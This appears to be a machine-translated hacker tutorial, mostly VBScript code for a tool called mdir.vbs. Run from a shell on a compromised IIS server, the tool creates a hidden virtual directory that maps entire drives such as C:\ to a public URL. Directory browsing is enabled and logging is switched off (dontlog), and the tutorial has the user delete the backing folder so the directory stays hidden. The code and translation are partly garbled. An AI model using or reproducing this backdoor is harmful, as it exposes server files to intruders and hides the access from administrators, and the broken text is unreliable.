Create a hidden virtual directory to use. First, create a directory in the corresponding web directory. Then use the script to create the virtual directory directly in the shell. Just to make it easier for everyone to use. Methods are as follows
C:\>mdir.vbs
***************************************************************************
Usage:mdir <-w WebSite index>
<-v name1,path1,name2,path2,... >
Example:mdir-w 1-v "Root/disk-c", "C:\", "root/disk-d", "D:\"
***************************************************************************
Index ServerComment
___________________________________________________________________________
1 asp.com
2 asp.net
3 aspx.net
4 aspx.com
5 tmp.com
6 tmp.net
When no parameters are added, all the host headers in IIS are listed.
If you want to create in asp.com, you need to register the corresponding index value. Format is as follows
C:\INETPUB\WWWROOT>MD Root
C:\inetpub\wwwroot>cscript mdir.vbs-w "1"-V "root/disk-c", "C:\"
C:\inetpub\wwwroot>rd Root
A hidden virtual directory is created under this domain name.
Access method:
Http://asp.com/Root/Disk-c
Copy Code code as follows:
' Lilo writing
' Lilo@Bugkidz.org
On Error Resume Next
Dim Oargs, Argnum, Argcomputer, Argwebsites, Argvirtualdirs, Argdirnames (), Argdirpaths (), Dirindex, ArgComputers
Set Oargs = wscript.arguments
Argcomputers = Array ("LocalHost")
Argnum = 0
While Argnum < Oargs.count
If (argnum + 1) >= Oargs.count Then
Call Displayusage
End If
Select Case LCase (Oargs (argnum))
Case "-W":
Argnum = argnum + 1
Argwebsites = Oargs (argnum)
Case "-V":
Argnum = argnum + 1
Argvirtualdirs = Split (Oargs (Argnum), ",",-1)
Case "-?"
Call Displayusage
End Select
Argnum = argnum + 1
Wend
Argnum = 0
Dirindex = 0
Maxweb = CLng (listallweb (0))
If not IsNumeric (argwebsites) Or maxweb = 0 Then Call Displayusage
ReDim argdirnames (UBound (argvirtualdirs) +1) \ 2)
ReDim argdirpaths (UBound (argvirtualdirs) +1) \ 2)
If IsArray (argvirtualdirs) Then
While Argnum <= UBound (argvirtualdirs)
Argdirnames (Dirindex) = Argvirtualdirs (argnum)
If (argnum + 1) > UBound (argvirtualdirs) Then
WScript.Echo "Error Understanding Virtual Directories"
Call Displayusage
End If
Argnum = argnum + 1
Argdirpaths (Dirindex) = Argvirtualdirs (argnum)
Argnum = argnum + 1
Dirindex = Dirindex + 1
Wend
End If
If (argwebsites = "") or (IsArray (argdirnames) = False Or IsArray (argdirpaths) = False) Then
Call Displayusage
Else
Dim Compindex
For compindex = 0 to UBound (argcomputers)
Call Astcreatevirtualwebdir (Argcomputers (Compindex), argwebsites,argdirnames,argdirpaths)
Next
End If
Sub Display (MSG)
WScript.Echo Now & ". Error Code: "& Hex (ERR) &"-"& MSG
End Sub
Sub Trace (MSG)
WScript.Echo Now & ":" & MSG
End Sub
Sub Displayusage ()
WScript.Echo String ("*") & vbCrLf & "Usage:mdir <-w WebSite index>" & VbCrLf & "< -V name1,path1,name2,path2,... > & vbCrLf & example:mdir-w 1-v "Root/disk-c" "," "C:\" "," "root/disk-d" "," " D:\ "" "& VbCrLf & String (+," * ") & VbCrLf & Listallweb (1)
Wscript.Quit
End Sub
Sub Astcreatevirtualwebdir (computername,websitename,dirnames,dirpaths)
Dim Computer, WebSite, WebSiteID, VRoot, VDir, Dirnum
On Error Resume Next
Set webSite = GetObject ("iis://localhost/w3svc/" & Websitename)
If IsObject (webSite) Then
Set vRoot = Website.getobject ("IIsWebVirtualDir", "Root")
Trace "Accessing Root for" & Website.adspath
If (Err <> 0) Then
Display "Unable to Access Root for" & Website.adspath
Else
Dirnum = 0
If (IsArray (dirnames) = True) and (IsArray (dirpaths) = True) and (UBound (dirnames) = UBound (dirpaths)) Then
While Dirnum < UBound (dirnames)
Set VDir = vroot.create ("IIsWebVirtualDir", Dirnames (Dirnum))
If (Err <> 0) Then
Display "Unable to Create" & Vroot.adspath & "/" & Dirnames (Dirnum) & "."
Else
vdir.enabledirbrowsing = True
Vdir.dirbrowseshowdate = False
Vdir.dirbrowseshowtime = False
Vdir.dirbrowseshowsize = False
Vdir.dirbrowseshowextension = False
Vdir.dirbrowseshowlongdate = True
Vdir.dirbrowseflags =-1073741762
Vdir.accessread = True
Vdir.accesswrite = False
Vdir.accessexecute = False
Vdir.accessscript = False
Vdir.accesssource = False
Vdir.accessnoremoteread = False
Vdir.accessnoremotewrite = False
Vdir.accessnoremoteexecute = False
Vdir.accessnoremotescript = False
vdir.appisolated = 1
Vdir.accessflags = 1
vdir.contentindexed = False
Vdir.createprocessasuser = False
Vdir.dontlog = True
' Vdir.defaultdoc = ' "
Vdir.enabledefaultdoc = False
Vdir.appfriendlyname = ""
Vdir.appcreate2 3
Vdir.path = Dirpaths (dirnum)
If (Err <> 0) Then
Display "Unable to Bind Path" & Dirpaths (Dirnum) & "to" & Vrootname & "/" & Dirnames (Dirnum) & ". Path may is invalid. "
Else
' Save the changes
Vdir.setinfo
If (Err <> 0) Then
Display "Unable to Save Configuration for" & Vrootname & "/" & Dirnames (Dirnum) & "."
Else
Trace "Web Virtual Directory" & Vrootname & "/" & Dirnames (Dirnum) & "created successfully."
End If
End If
End If
ERR = 0
Dirnum = dirnum + 1
Wend
End If
End If
Else
Display "Unable to find" & Websitename & "on" & ComputerName
End If
Trace "Done."
End Sub
Function Listallweb (N)
Set objservice=getobject ("Iis://localhost/w3svc")
If n = 1 Then listallweb = "" Else listallweb = 0
For each obj3w in Objservice
If IsNumeric (obj3w. Name) Then
Sservername=obj3w.servercomment
If n = 1 Then
Listallweb = Listallweb & obj3w. Name & String (15-len (obj3w). Name), "") & obj3w. ServerComment & VbCrLf
Else
Listallweb = Listallweb + 1
End If
End If
Next
if n = 1 Then listallweb = "Index" & String (Ten, "") & "ServerComment" & VbCrLf & String ("_") & vbcr Lf & Listallweb
Set objservice=nothing
End Function